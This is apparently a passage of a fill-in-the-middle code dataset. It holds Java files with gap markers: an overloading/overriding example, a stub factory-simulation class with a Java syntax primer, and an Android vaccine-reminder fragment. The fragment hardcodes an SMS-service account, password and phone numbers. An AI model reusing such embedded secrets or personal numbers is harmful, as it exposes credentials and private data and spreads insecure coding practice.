* 也许同样令人惊讶的是,如果println 方法没有被重载,那么 submit 方法调用是合法的。正是被引用的方法(println)的重载和被调用的方法(submit)相结合,阻止了重载解析算法按照你所期望的方式运行。
*/ | block_comment | zh-cn | package chapter27;
import com.google.common.collect.Lists;
import java.util.List;
import java.util.Optional;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
/**
* name 方法在 Wine 类中声明,并在子类 SparklingWine 和 Champagne 中重写。正如你所 料,此程序打印出 wine,sparkling wine 和 champagne,
* 即使实例的编译时类型在循环的每次迭代中都是 Wine 。 当调用重写方法时,对象的编译时类型对执行哪个方法没有影响;
* 总是会执行“最具体 (mostspecific)”的重写方法。 将此与重载进行比较,其中对象的运行时类型对执行的重载没有影响; 选择是在编译时完成的,完全基于参数的编译时类型。
* @author karl xie
*/
class Wine {
String name() {
return "wine";
}
}
class SparklingWine extends Wine {
@Override
String name() {
return "sparkling wine";
}
}
class Champagne extends SparklingWine {
@Override
String name() {
return "champagne";
}
}
class Overriding {
public static void main(String[] args) {
List<Wine> wineList = Lists.newArrayList(
new Wine(), new SparklingWine(), new Champagne()
);
for (Wine wine : wineList)
System.out.println(wine.name());
/**
* 虽然 <SUF>*/
new Thread(System.out::println).start();
ExecutorService exec = Executors.newCachedThreadPool();
// exec.submit(System.out::println);
}
} | 1 |
15510_2 | package 工具类;
public class Main {
public static void main(String[] args) {}
private int centralbank;//central bank
int getbank(){return centralbank;}
void setbank(int test){centralbank+=test;}
//ver0.1:仅实现最基本类的功能,工人/工厂/工种/产品/城市。目前以工厂为基本单位运行,以月为基本时间单位。20230911
//实验:煤矿,钢铁厂和机器厂;煤,钢铁和机器
Product steel =new Product("steel",5000);
Product coal =new Product("coal",5);
Product machine=new Product("machine",150000);
Factory mine=new Factory("mine");
Factory steelFactory=new Factory("steelfactory");
Factory machineFactory=new Factory("machinefactory");
}
/*
基础语法注释:
下面简要介绍下类、对象、方法和实例变量的概念。
对象:对象是类的一个实例,有状态和行为。例如,一条狗是一个对象,它的状态有:颜色、名字、品种;行为有:摇尾巴、叫、吃等。
类:类是一个模板,它描述一类对象的行为和状态。
方法:方法就是行为,一个类可以有很多方法。逻辑运算、数据修改以及所有动作都是在方法中完成的。
实例变量:每个对象都有独特的实例变量,对象的状态由这些实例变量的值决定。
基本语法
编写 Java 程序时,应注意以下几点:
大小写敏感:Java 是大小写敏感的,这就意味着标识符 Hello 与 hello 是不同的。
类名:对于所有的类来说,类名的首字母应该大写。如果类名由若干单词组成,那么每个单词的首字母应该大写,例如 MyFirstJavaClass 。
方法名:所有的方法名都应该以小写字母开头。如果方法名含有若干单词,则后面的每个单词首字母大写。
源文件名:源文件名必须和类名相同。当保存文件的时候,你应该使用类名作为文件名保存(切记 Java 是大小写敏感的),文件名的后缀为 .java。(如果文件名和类名不相同则会导致编译错误)。
主方法入口:所有的 Java 程序由 public static void main(String[] args) 方法开始执行。
Java 标识符
Java 所有的组成部分都需要名字。类名、变量名以及方法名都被称为标识符。
关于 Java 标识符,有以下几点需要注意:
所有的标识符都应该以字母(A-Z 或者 a-z),美元符($)、或者下划线(_)开始
首字符之后可以是字母(A-Z 或者 a-z),美元符($)、下划线(_)或数字的任何字符组合
关键字不能用作标识符
标识符是大小写敏感的
合法标识符举例:age、$salary、_value、__1_value
非法标识符举例:123abc、-salary
Java修饰符
像其他语言一样,Java可以使用修饰符来修饰类中方法和属性。主要有两类修饰符:
访问控制修饰符 : default, public , protected, private
非访问控制修饰符 : final, abstract, static, synchronized
在后面的章节中我们会深入讨论 Java 修饰符。
Java 变量
Java 中主要有如下几种类型的变量
局部变量
类变量(静态变量)
成员变量(非静态变量)
Java 数组
数组是储存在堆上的对象,可以保存多个同类型变量。在后面的章节中,我们将会学到如何声明、构造以及初始化一个数组。
*/ | 12112206/OGAS-system | Main.java | 924 | //实验:煤矿,钢铁厂和机器厂;煤,钢铁和机器 | line_comment | zh-cn | package 工具类;
public class Main {
public static void main(String[] args) {}
private int centralbank;//central bank
int getbank(){return centralbank;}
void setbank(int test){centralbank+=test;}
//ver0.1:仅实现最基本类的功能,工人/工厂/工种/产品/城市。目前以工厂为基本单位运行,以月为基本时间单位。20230911
//实验 <SUF>
Product steel =new Product("steel",5000);
Product coal =new Product("coal",5);
Product machine=new Product("machine",150000);
Factory mine=new Factory("mine");
Factory steelFactory=new Factory("steelfactory");
Factory machineFactory=new Factory("machinefactory");
}
/*
基础语法注释:
下面简要介绍下类、对象、方法和实例变量的概念。
对象:对象是类的一个实例,有状态和行为。例如,一条狗是一个对象,它的状态有:颜色、名字、品种;行为有:摇尾巴、叫、吃等。
类:类是一个模板,它描述一类对象的行为和状态。
方法:方法就是行为,一个类可以有很多方法。逻辑运算、数据修改以及所有动作都是在方法中完成的。
实例变量:每个对象都有独特的实例变量,对象的状态由这些实例变量的值决定。
基本语法
编写 Java 程序时,应注意以下几点:
大小写敏感:Java 是大小写敏感的,这就意味着标识符 Hello 与 hello 是不同的。
类名:对于所有的类来说,类名的首字母应该大写。如果类名由若干单词组成,那么每个单词的首字母应该大写,例如 MyFirstJavaClass 。
方法名:所有的方法名都应该以小写字母开头。如果方法名含有若干单词,则后面的每个单词首字母大写。
源文件名:源文件名必须和类名相同。当保存文件的时候,你应该使用类名作为文件名保存(切记 Java 是大小写敏感的),文件名的后缀为 .java。(如果文件名和类名不相同则会导致编译错误)。
主方法入口:所有的 Java 程序由 public static void main(String[] args) 方法开始执行。
Java 标识符
Java 所有的组成部分都需要名字。类名、变量名以及方法名都被称为标识符。
关于 Java 标识符,有以下几点需要注意:
所有的标识符都应该以字母(A-Z 或者 a-z),美元符($)、或者下划线(_)开始
首字符之后可以是字母(A-Z 或者 a-z),美元符($)、下划线(_)或数字的任何字符组合
关键字不能用作标识符
标识符是大小写敏感的
合法标识符举例:age、$salary、_value、__1_value
非法标识符举例:123abc、-salary
Java修饰符
像其他语言一样,Java可以使用修饰符来修饰类中方法和属性。主要有两类修饰符:
访问控制修饰符 : default, public , protected, private
非访问控制修饰符 : final, abstract, static, synchronized
在后面的章节中我们会深入讨论 Java 修饰符。
Java 变量
Java 中主要有如下几种类型的变量
局部变量
类变量(静态变量)
成员变量(非静态变量)
Java 数组
数组是储存在堆上的对象,可以保存多个同类型变量。在后面的章节中,我们将会学到如何声明、构造以及初始化一个数组。
*/ | 1 |
32027_3 | package com.example.pokestar.vaccineremind.ui.fragment;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.graphics.Color;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.support.annotation.RequiresApi;
import android.support.v4.app.Fragment;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.TextView;
import com.example.pokestar.vaccineremind.R;
import com.example.pokestar.vaccineremind.adapter.VaccineKnowAdapter;
import com.example.pokestar.vaccineremind.bean.Baby;
import com.example.pokestar.vaccineremind.bean.User;
import com.example.pokestar.vaccineremind.bean.VaccineNews;
import com.example.pokestar.vaccineremind.ui.activity.AddBabyActivity;
import com.example.pokestar.vaccineremind.ui.activity.MyBabyActivity;
import com.example.pokestar.vaccineremind.ui.activity.VacReferActivity;
import com.example.pokestar.vaccineremind.ui.activity.VaccinePlanActivity;
import com.example.pokestar.vaccineremind.ui.activity.WebNewsActivity;
import com.example.pokestar.vaccineremind.utils.Configure;
import com.example.pokestar.vaccineremind.utils.LogUtil;
import com.example.pokestar.vaccineremind.utils.ToastUtil;
import com.getbase.floatingactionbutton.FloatingActionButton;
import com.getbase.floatingactionbutton.FloatingActionsMenu;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.protocol.HTTP;
import org.apache.http.util.EntityUtils;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import cn.bmob.v3.BmobQuery;
import cn.bmob.v3.BmobUser;
import cn.bmob.v3.exception.BmobException;
import cn.bmob.v3.listener.FindListener;
import cn.bmob.v3.listener.QueryListener;
import info.hoang8f.widget.FButton;
/**
* A simple {@link Fragment} subclass.
* Activities that contain this fragment must implement the
* {@link VaccineFragment.OnFragmentInteractionListener} interface
* to handle interaction events.
* Use the {@link VaccineFragment#newInstance} factory method to
* create an instance of this fragment.
*/
public class VaccineFragment extends BaseFragment {
private TextView mTextView_baby_data;
private ImageView mImageView_baby;
private static final String TAG = "VaccineFragment";
private OnFragmentInteractionListener mListener;
private FButton button_vacplan;
private FButton button_calldoc;
RecyclerView mRecyclerView;
List<String> titles;
List<VaccineNews> mNews = new ArrayList<VaccineNews>();
String phoneNum;
final List<Baby> mBabyList = new ArrayList<>();
@SuppressLint("HandlerLeak")
private Handler handler=new Handler(){
@Override
public void handleMessage(Message msg) {
switch (msg.what){
case 0:
mNews = (List<VaccineNews>) msg.obj;
break;
}
}
};
public static VaccineFragment newInstance() {
VaccineFragment fragment = new VaccineFragment();
return fragment;
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.d(TAG, "run: 开启线程");
}
@Override
protected int getLayoutId() {
return R.layout.fragment_vaccine;
}
@Override
protected int getContainerId() {
return R.id.vaccine_fragment_container;
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
View view = inflater.inflate(R.layout.fragment_vaccine, container, false);
phoneNum = Configure.getUSERID(getActivity());
//根据情况更改Fragment
initFragmentView();
button_vacplan = view.findViewById(R.id.button_vaccine_plan);
button_vacplan.setButtonColor(Color.parseColor("#43bf79"));
button_vacplan.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(getActivity(), VaccinePlanActivity.class);
startActivity(intent);
}
});
button_calldoc = view.findViewById(R.id.button_call_doc);
button_calldoc.setButtonColor(Color.parseColor("#43bf79"));
button_calldoc.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(getActivity(), VacReferActivity.class));
}
});
LogUtil util = new LogUtil(VaccineFragment.class,true);
FloatingActionButton actionC = new FloatingActionButton(getActivity());
actionC.setTitle("发送短信");
actionC.setOnClickListener(new View.OnClickListener() {
@RequiresApi(api = Build.VERSION_CODES.N)
@Override
public void onClick(View v) {
Log.e(TAG, "run: 开启线程222");
new Thread(new Runnable() {
@Override
public void run() {
try {
String res = getReultForHttpPost("18505857152 ","6a68440d0b73db44a36690073","18368520120");
Log.e(TAG, "run:短信 " + res);
} catch (IOException e) {
e.printStackTrace();
Log.d(TAG, "run: error" + e.getMessage());
} catch (ParseException e) {
e.printStackTrace();
Log.d(TAG, "run: error" + e.getMessage());
}
}
}).start();
ToastUtil.showShort(getActivity(),"成功发送");
}
});
final FloatingActionsMenu menuMultipleActions = (FloatingActionsMenu)view.findViewById(R.id.multiple_actions);
menuMultipleActions.addButton(actionC);
final FloatingActionButton actionA = (FloatingActionButton)view.findViewById(R.id.action_a);
actionA.setIcon(R.drawable.ic_add_green);
actionA.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
if(Configure.getUSERID(getActivity()).equals("")){
//未登录
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请登录后添加宝宝!");
}else {
// 已登录
User user = new User();
final BmobUser user1 = BmobUser.getCurrentUser();
//判断有无baby
BmobQuery<User> query = new BmobQuery<User>();
query.getObject(user1.getObjectId(), new QueryListener<User>() {
@Override
public void done(User user, BmobException e) {
if(e == null){
if(user.getBabyId() == null){
//未创建baby 跳转添加宝宝页面
startActivity(new Intent(getActivity(), AddBabyActivity.class));
}else {
//用户当前有baby
ToastUtil.showShort(getActivity(),"当前支持一用户一个baby");
}
}else {
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请先添加宝宝!");
ToastUtil.showShort(getActivity(),e.getMessage());
}
}
});
}
}
});
//floatingButton
final FloatingActionButton actionB =view.findViewById(R.id.action_b);
actionB.setIcon(R.drawable.baby_icon);
actionB.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if(Configure.getUSERID(getActivity()).equals("")){
//未登录
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请登录后添加宝宝!");
}else {
// 已登录
User user = new User();
final BmobUser user1 = BmobUser.getCurrentUser();
//判断有无baby
BmobQuery<User> query = new BmobQuery<User>();
query.getObject(user1.getObjectId(), new QueryListener<User>() {
@Override
public void done(User user, BmobException e) {
if(e == null){
if(user.getBabyId() == null){
//未创建baby 跳转宝宝信息页面
ToastUtil.showShort(getActivity(),"请先创建baby");
}else {
//用户当前有baby
startActivity(new Intent(getActivity(), MyBabyActivity.class));
}
}else {
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请先添加宝宝!");
ToastUtil.showShort(getActivity(),e.getMessage());
}
}
});
}
}
});
initToolbarView(view);
initData();
initRecyclerView(view);
return view;
}
private void initData() {
titles = new ArrayList<String>();
titles.add("this is tile.");
// BmobQuery<VaccineNews> query = new BmobQuery<VaccineNews>();
// //返回50条数据,如果不加上这条语句,默认返回10条数据
// query.setLimit(4);
// //执行查询方法
// query.findObjects(new FindListener<VaccineNews>() {
// @Override
// public void done(List<VaccineNews> object, BmobException e) {
// if(e==null){
//
// Message message = handler.obtainMessage();
// message.what = 0;
// //以消息为载体
// message.obj = object;//这里的list就是查询出list
// //向handler发送消息
// handler.sendMessage(message);
//
// }else{
// Log.i("bmob","失败:"+e.getMessage()+","+e.getErrorCode());
// }
// }
//
// });
mNews.add(new VaccineNews("关于刷屏的“假疫苗”真相,你知道多少",
"https://baijiahao.baidu.com/s?id=1606664160402430025&wfr=spider&for=pc",
"https://ss2.baidu.com/6ONYsjip0QIZ8tyhnq/it/u=3971911016,3067881133&fm=173&app=25&f=JPEG?w=640&h=265&s=3C24C21512717621165814710300C0F0"));
mNews.add(new VaccineNews("宝宝必打疫苗有哪些?",
"http://www.mama.cn/z/art/58093/",
"http://pics.mama.cn/attachment/mamacn/images/201805/20180528/103347_80284.jpg"));
mNews.add(new VaccineNews("疫苗知识干货集合,爸爸妈妈必看!",
"https://www.sohu.com/a/242668019_100227154",
"http://5b0988e595225.cdn.sohucs.com/images/20180722/52c9f691b7a243e9883d997288e26e77.jpeg"));
mNews.add(new VaccineNews("崔玉涛:接种疫苗后不适怎么办",
"https://yuer.pcbaby.com.cn/120/1204793.html",
"https://img0.pcbaby.com.cn/pcbaby/1307/05/1204793_cuiyutaoyimiao1.jpg"));
mNews.add(new VaccineNews("入秋接种7类疫苗 宝宝少生病!",
"https://yuer.pcbaby.com.cn/121/1216424.html",
"http://5b0988e595225.cdn.sohucs.com/images/20181017/cfd00e09899544ffbd78782f8b232c41.jpeg"));
}
private void initRecyclerView(View view) {
mRecyclerView = view.findViewById(R.id.recycler_view_vaccine_know);
LinearLayoutManager linearLayoutManager=new LinearLayoutManager(getActivity(),LinearLayoutManager.VERTICAL,false){
@Override
public boolean canScrollVertically(){
return false;
}
};
mRecyclerView.setLayoutManager(linearLayoutManager);
final VaccineKnowAdapter adapter = new VaccineKnowAdapter(getActivity(),mNews);
adapter.setItemClickListener(new VaccineKnowAdapter.OnItemClickListener() {
@Override
public void onItemClick(View view, int position) {
// //TODO 跳转webview
ToastUtil.showShort(getActivity(),mNews.get(position).getUrl());
Intent intent = new Intent(getActivity(), WebNewsActivity.class);
intent.putExtra("url",mNews.get(position).getUrl());
startActivity(intent);
}
});
mRecyclerView.setAdapter(adapter);
}
private void initFragmentView() {
if(Configure.getUSERID(getActivity()).equals("")){
//未登录
addFragment(AddVaccineFragment.newInstance(),"setVaccine");
}else {
// 已登录
//判断有无baby
if(Configure.getBABYID(getActivity()).equals("")){
//未创建baby
addFragment(AddVaccineFragment.newInstance(),"setVaccine");
}else {
//用户当前有baby
BmobQuery<Baby> query1 = new BmobQuery<Baby>();
query1.getObject(Configure.getBABYID(getActivity()), new QueryListener<Baby>() {
@RequiresApi(api = Build.VERSION_CODES.N)
@Override
public void done(Baby baby, BmobException e) {
if(e == null){
if(baby.getVaccineList().size() == 0){
//当前无vaccine添加
addFragment(AddVaccineFragment.newInstance(),"setVaccine");
}else {
//当前有需要打的疫苗
addFragment(DisplayVaccineFragment.newInstance(),"DisplayVaccine");
}
Baby baby1 = baby;
mBabyList.add(baby1);
}else {
addFragment(AddVaccineFragment.newInstance(),"setVaccine");
//ToastUtil.showShort(getActivity(),e.getMessage());
}
}
});
}
}
// ToastUtil.showShort(getActivity(),"1 " + mBabyList.size());
}
private void initToolbarView(View view) {
mImageView_baby = view.findViewById(R.id.image_baby);
mTextView_baby_data = view.findViewById(R.id.text_baby_data);
if(Configure.getUSERID(getActivity()).equals("")){
//未登录
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请登录后添加宝宝!");
}else {
// 已登录
User user = new User();
final BmobUser user1 = BmobUser.getCurrentUser();
//判断有无baby
BmobQuery<User> query = new BmobQuery<User>();
query.getObject(user1.getObjectId(), new QueryListener<User>() {
@Override
public void done(User user, BmobException e) {
if(e == null){
if(user.getBabyId() == null){
//未创建baby
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请先添加宝宝!");
}else {
//用户当前有baby
BmobQuery<Baby> query1 = new BmobQuery<Baby>();
query1.getObject(user.getBabyId(), new QueryListener<Baby>() {
@Override
public void done(Baby baby, BmobException e) {
if(e == null){
mImageView_baby.setImageURI(Uri.fromFile(new File(baby.getImagePath())));
mTextView_baby_data.setText(baby.getName() + " | " + baby.getBirth().getDate().subSequence(0,10));
}else {
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请先添加宝宝!!");
ToastUtil.showShort(getActivity(),e.getMessage());
}
}
});
}
}else {
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请先添加宝宝");
ToastUtil.showShort(getActivity(),e.getMessage());
}
}
});
}
}
@Override
public void onAttach(Context context) {
super.onAttach(context);
}
@Override
public void onDetach() {
super.onDetach();
mListener = null;
}
/**
* This interface must be implemented by activities that contain this
* fragment to allow an interaction in this fragment to be communicated
* to the activity and potentially other fragments contained in that
* activity.
* <p>
* See the Android Training lesson <a href=
* "http://developer.android.com/training/basics/fragments/communicating.html"
* >Communicating with Other Fragments</a> for more information.
*/
public interface OnFragmentInteractionListener {
// TODO: Update argument type and name
void onFragmentInteraction(Uri uri);
}
public String getReultForHttpPost(String name,String pwd,String phone) throws ClientProtocolException, IOException,ParseException {
//服务器 :服务器项目 :servlet名称
//文字定时短信
String path="http://api.feige.ee/SmsService/Send";
String time = dateToStamp("2018-10-31 10:50:00");
HttpPost httpPost=new HttpPost(path);
List<NameValuePair>list=new ArrayList<NameValuePair>();
list.add(new BasicNameValuePair("Account", name));
list.add(new BasicNameValuePair("Pwd", pwd));
list.add(new BasicNameValuePair("Content", "尊敬的:" + phone + ",您预约在今天为您的宝宝接种疫苗,请及时前往哦!详细信息请进入禾苗APP查询。"));
//list.add(new BasicNameValuePair("SendTime", time));//日期格式的需要转化成时间戳
list.add(new BasicNameValuePair("Mobile", phone));
list.add(new BasicNameValuePair("SignId", "61242"));
httpPost.setEntity(new UrlEncodedFormEntity(list, HTTP.UTF_8));//与HttpGet区别所在,这里是将参数用List传递
String result="";
Log.d(TAG, "getReultForHttpPost: 发送");
HttpResponse response=new DefaultHttpClient().execute(httpPost);
if(response.getStatusLine().getStatusCode()==200){
HttpEntity entity=response.getEntity();
result= EntityUtils.toString(entity, HTTP.UTF_8);
}
Log.d(TAG, "getReultForHttpPost: 接收");
return result;
}
/*
* 将时间转换为时间戳
*/
public static String dateToStamp(String s) throws ParseException {
String res;
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date date = simpleDateFormat.parse(s);
long ts = date.getTime();
res = String.valueOf(ts);
return res;
}
}
| 1219521375/NewVaccine | app/src/main/java/com/example/pokestar/vaccineremind/ui/fragment/VaccineFragment.java | 5,204 | //未登录
| line_comment | zh-cn | package com.example.pokestar.vaccineremind.ui.fragment;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.graphics.Color;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.support.annotation.RequiresApi;
import android.support.v4.app.Fragment;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.TextView;
import com.example.pokestar.vaccineremind.R;
import com.example.pokestar.vaccineremind.adapter.VaccineKnowAdapter;
import com.example.pokestar.vaccineremind.bean.Baby;
import com.example.pokestar.vaccineremind.bean.User;
import com.example.pokestar.vaccineremind.bean.VaccineNews;
import com.example.pokestar.vaccineremind.ui.activity.AddBabyActivity;
import com.example.pokestar.vaccineremind.ui.activity.MyBabyActivity;
import com.example.pokestar.vaccineremind.ui.activity.VacReferActivity;
import com.example.pokestar.vaccineremind.ui.activity.VaccinePlanActivity;
import com.example.pokestar.vaccineremind.ui.activity.WebNewsActivity;
import com.example.pokestar.vaccineremind.utils.Configure;
import com.example.pokestar.vaccineremind.utils.LogUtil;
import com.example.pokestar.vaccineremind.utils.ToastUtil;
import com.getbase.floatingactionbutton.FloatingActionButton;
import com.getbase.floatingactionbutton.FloatingActionsMenu;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.protocol.HTTP;
import org.apache.http.util.EntityUtils;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import cn.bmob.v3.BmobQuery;
import cn.bmob.v3.BmobUser;
import cn.bmob.v3.exception.BmobException;
import cn.bmob.v3.listener.FindListener;
import cn.bmob.v3.listener.QueryListener;
import info.hoang8f.widget.FButton;
/**
* A simple {@link Fragment} subclass.
* Activities that contain this fragment must implement the
* {@link VaccineFragment.OnFragmentInteractionListener} interface
* to handle interaction events.
* Use the {@link VaccineFragment#newInstance} factory method to
* create an instance of this fragment.
*/
public class VaccineFragment extends BaseFragment {
private TextView mTextView_baby_data;
private ImageView mImageView_baby;
private static final String TAG = "VaccineFragment";
private OnFragmentInteractionListener mListener;
private FButton button_vacplan;
private FButton button_calldoc;
RecyclerView mRecyclerView;
List<String> titles;
List<VaccineNews> mNews = new ArrayList<VaccineNews>();
String phoneNum;
final List<Baby> mBabyList = new ArrayList<>();
@SuppressLint("HandlerLeak")
private Handler handler=new Handler(){
@Override
public void handleMessage(Message msg) {
switch (msg.what){
case 0:
mNews = (List<VaccineNews>) msg.obj;
break;
}
}
};
public static VaccineFragment newInstance() {
VaccineFragment fragment = new VaccineFragment();
return fragment;
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.d(TAG, "run: 开启线程");
}
@Override
protected int getLayoutId() {
return R.layout.fragment_vaccine;
}
@Override
protected int getContainerId() {
return R.id.vaccine_fragment_container;
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
View view = inflater.inflate(R.layout.fragment_vaccine, container, false);
phoneNum = Configure.getUSERID(getActivity());
//根据情况更改Fragment
initFragmentView();
button_vacplan = view.findViewById(R.id.button_vaccine_plan);
button_vacplan.setButtonColor(Color.parseColor("#43bf79"));
button_vacplan.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(getActivity(), VaccinePlanActivity.class);
startActivity(intent);
}
});
button_calldoc = view.findViewById(R.id.button_call_doc);
button_calldoc.setButtonColor(Color.parseColor("#43bf79"));
button_calldoc.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(getActivity(), VacReferActivity.class));
}
});
LogUtil util = new LogUtil(VaccineFragment.class,true);
FloatingActionButton actionC = new FloatingActionButton(getActivity());
actionC.setTitle("发送短信");
actionC.setOnClickListener(new View.OnClickListener() {
@RequiresApi(api = Build.VERSION_CODES.N)
@Override
public void onClick(View v) {
Log.e(TAG, "run: 开启线程222");
new Thread(new Runnable() {
@Override
public void run() {
try {
String res = getReultForHttpPost("18505857152 ","6a68440d0b73db44a36690073","18368520120");
Log.e(TAG, "run:短信 " + res);
} catch (IOException e) {
e.printStackTrace();
Log.d(TAG, "run: error" + e.getMessage());
} catch (ParseException e) {
e.printStackTrace();
Log.d(TAG, "run: error" + e.getMessage());
}
}
}).start();
ToastUtil.showShort(getActivity(),"成功发送");
}
});
final FloatingActionsMenu menuMultipleActions = (FloatingActionsMenu)view.findViewById(R.id.multiple_actions);
menuMultipleActions.addButton(actionC);
final FloatingActionButton actionA = (FloatingActionButton)view.findViewById(R.id.action_a);
actionA.setIcon(R.drawable.ic_add_green);
actionA.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
if(Configure.getUSERID(getActivity()).equals("")){
//未登 <SUF>
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请登录后添加宝宝!");
}else {
// 已登录
User user = new User();
final BmobUser user1 = BmobUser.getCurrentUser();
//判断有无baby
BmobQuery<User> query = new BmobQuery<User>();
query.getObject(user1.getObjectId(), new QueryListener<User>() {
@Override
public void done(User user, BmobException e) {
if(e == null){
if(user.getBabyId() == null){
//未创建baby 跳转添加宝宝页面
startActivity(new Intent(getActivity(), AddBabyActivity.class));
}else {
//用户当前有baby
ToastUtil.showShort(getActivity(),"当前支持一用户一个baby");
}
}else {
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请先添加宝宝!");
ToastUtil.showShort(getActivity(),e.getMessage());
}
}
});
}
}
});
//floatingButton
final FloatingActionButton actionB =view.findViewById(R.id.action_b);
actionB.setIcon(R.drawable.baby_icon);
actionB.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if(Configure.getUSERID(getActivity()).equals("")){
//未登录
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请登录后添加宝宝!");
}else {
// 已登录
User user = new User();
final BmobUser user1 = BmobUser.getCurrentUser();
//判断有无baby
BmobQuery<User> query = new BmobQuery<User>();
query.getObject(user1.getObjectId(), new QueryListener<User>() {
@Override
public void done(User user, BmobException e) {
if(e == null){
if(user.getBabyId() == null){
//未创建baby 跳转宝宝信息页面
ToastUtil.showShort(getActivity(),"请先创建baby");
}else {
//用户当前有baby
startActivity(new Intent(getActivity(), MyBabyActivity.class));
}
}else {
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请先添加宝宝!");
ToastUtil.showShort(getActivity(),e.getMessage());
}
}
});
}
}
});
initToolbarView(view);
initData();
initRecyclerView(view);
return view;
}
private void initData() {
titles = new ArrayList<String>();
titles.add("this is tile.");
// BmobQuery<VaccineNews> query = new BmobQuery<VaccineNews>();
// //返回50条数据,如果不加上这条语句,默认返回10条数据
// query.setLimit(4);
// //执行查询方法
// query.findObjects(new FindListener<VaccineNews>() {
// @Override
// public void done(List<VaccineNews> object, BmobException e) {
// if(e==null){
//
// Message message = handler.obtainMessage();
// message.what = 0;
// //以消息为载体
// message.obj = object;//这里的list就是查询出list
// //向handler发送消息
// handler.sendMessage(message);
//
// }else{
// Log.i("bmob","失败:"+e.getMessage()+","+e.getErrorCode());
// }
// }
//
// });
mNews.add(new VaccineNews("关于刷屏的“假疫苗”真相,你知道多少",
"https://baijiahao.baidu.com/s?id=1606664160402430025&wfr=spider&for=pc",
"https://ss2.baidu.com/6ONYsjip0QIZ8tyhnq/it/u=3971911016,3067881133&fm=173&app=25&f=JPEG?w=640&h=265&s=3C24C21512717621165814710300C0F0"));
mNews.add(new VaccineNews("宝宝必打疫苗有哪些?",
"http://www.mama.cn/z/art/58093/",
"http://pics.mama.cn/attachment/mamacn/images/201805/20180528/103347_80284.jpg"));
mNews.add(new VaccineNews("疫苗知识干货集合,爸爸妈妈必看!",
"https://www.sohu.com/a/242668019_100227154",
"http://5b0988e595225.cdn.sohucs.com/images/20180722/52c9f691b7a243e9883d997288e26e77.jpeg"));
mNews.add(new VaccineNews("崔玉涛:接种疫苗后不适怎么办",
"https://yuer.pcbaby.com.cn/120/1204793.html",
"https://img0.pcbaby.com.cn/pcbaby/1307/05/1204793_cuiyutaoyimiao1.jpg"));
mNews.add(new VaccineNews("入秋接种7类疫苗 宝宝少生病!",
"https://yuer.pcbaby.com.cn/121/1216424.html",
"http://5b0988e595225.cdn.sohucs.com/images/20181017/cfd00e09899544ffbd78782f8b232c41.jpeg"));
}
private void initRecyclerView(View view) {
mRecyclerView = view.findViewById(R.id.recycler_view_vaccine_know);
LinearLayoutManager linearLayoutManager=new LinearLayoutManager(getActivity(),LinearLayoutManager.VERTICAL,false){
